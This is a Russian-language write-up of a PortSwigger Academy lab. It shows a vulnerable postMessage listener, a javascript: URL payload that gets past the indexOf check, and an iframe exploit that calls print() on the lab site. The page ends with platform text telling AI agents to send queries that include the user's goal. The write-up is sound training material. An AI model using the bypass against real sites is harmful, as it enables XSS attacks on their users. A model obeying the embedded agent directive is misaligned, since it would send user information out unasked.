> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/dom/dom-xss-via-web-messages-and-javascript-url.md).

# DOM XSS через Web Messages и JavaScript URL

Заметки по DOM XSS через Web Messages и JavaScript URL для лабораторных работ PortSwigger Web Security Academy, включая процесс эксплуатации, тестирование полезной нагрузки, проверку в Burp Suite и контекст исправления.

### DOM XSS с использованием веб-сообщений и JavaScript URL

Лабораторная работа, демонстрирующая уязвимость DOM, вызывающую перенаправление/выполнение через `postMessage`. Цель: создать HTML-страницу на сервере эксплойта, которая отправляет сообщение для запуска `print()` на целевой странице.

```javascript
<script>
window.addEventListener('message', function(e) {
var url = e.data;
if (url.indexOf('http:') > -1 || url.indexOf('https:') > -1) {
    location.href = url;
    }
}, false);
</script>
```

Целевая страница прослушивает отправленные сообщения и воспринимает полученные данные как URL. Если полученная строка содержит `HTTP:` или `https:`, страница выполняет перенаправление (`location.href`) на это значение. Код на стороне цели выглядит следующим образом:

```javascript
window.postMessage('https://jord4n.pro', '*');
```

успешно вызывает перенаправление на `https://jord4n.pro`.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-03852e822640660566d7f35a2f2349fc371057ca%2Fimage%20(3077).png?alt=media" alt=""><figcaption></figcaption></figure>

### Обход проверки

Проверка блокирует только строки, которые не содержат `HTTP:` или `https:` (проверка через `indexOf`). `Логика indexOf > -1` поэтому обходится добавлением `//https://...` части после `JavaScript:` схемы, чтобы условие выполнялось, при этом сохранялся URL, начинающийся с `JavaScript:`. Например:

```javascript
window.postMessage('javascript:alert(0)', '*');
```

* Чтобы открыть alert:

```javascript
window.postMessage('javascript:alert(0)//https://google.com', '*');
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c6f7921a6d9da8c82d21698e07410e9a03caf8fd%2Fimage%20(3078).png?alt=media" alt=""><figcaption></figcaption></figure>

* Чтобы вызвать `print()`:

```javascript
window.postMessage('javascript:print()//https://google.com', '*');
```

Эта `//https://google.com` часть используется только для того, чтобы удовлетворить условие `indexOf('https:') > -1` .

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-512a2707856d9dce518c0eac21de7c287d5446ef%2Fimage%20(3079).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Итоговый эксплойт

Страница атаки может включать iframe на уязвимую страницу и при загрузке отправлять вредоносное сообщение встроенному содержимому. Пример реализации, который нужно разместить на сервере-операторе:

{% code overflow="wrap" %}

```javascript
<iframe
  src="https://0a3c00e80375c1ca825c9cec00b50011.web-security-academy.net/"
  width="500"
  height="500"
 onload="this.contentWindow.postMessage('javascript:print()//https://google.com', '*'); "
</iframe>
```

{% endcode %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-645c3cc563ebdc1400083e89466bd04daf2c019a%2Fimage%20(3080).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/web/dom/dom-xss-via-web-messages-and-javascript-url.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
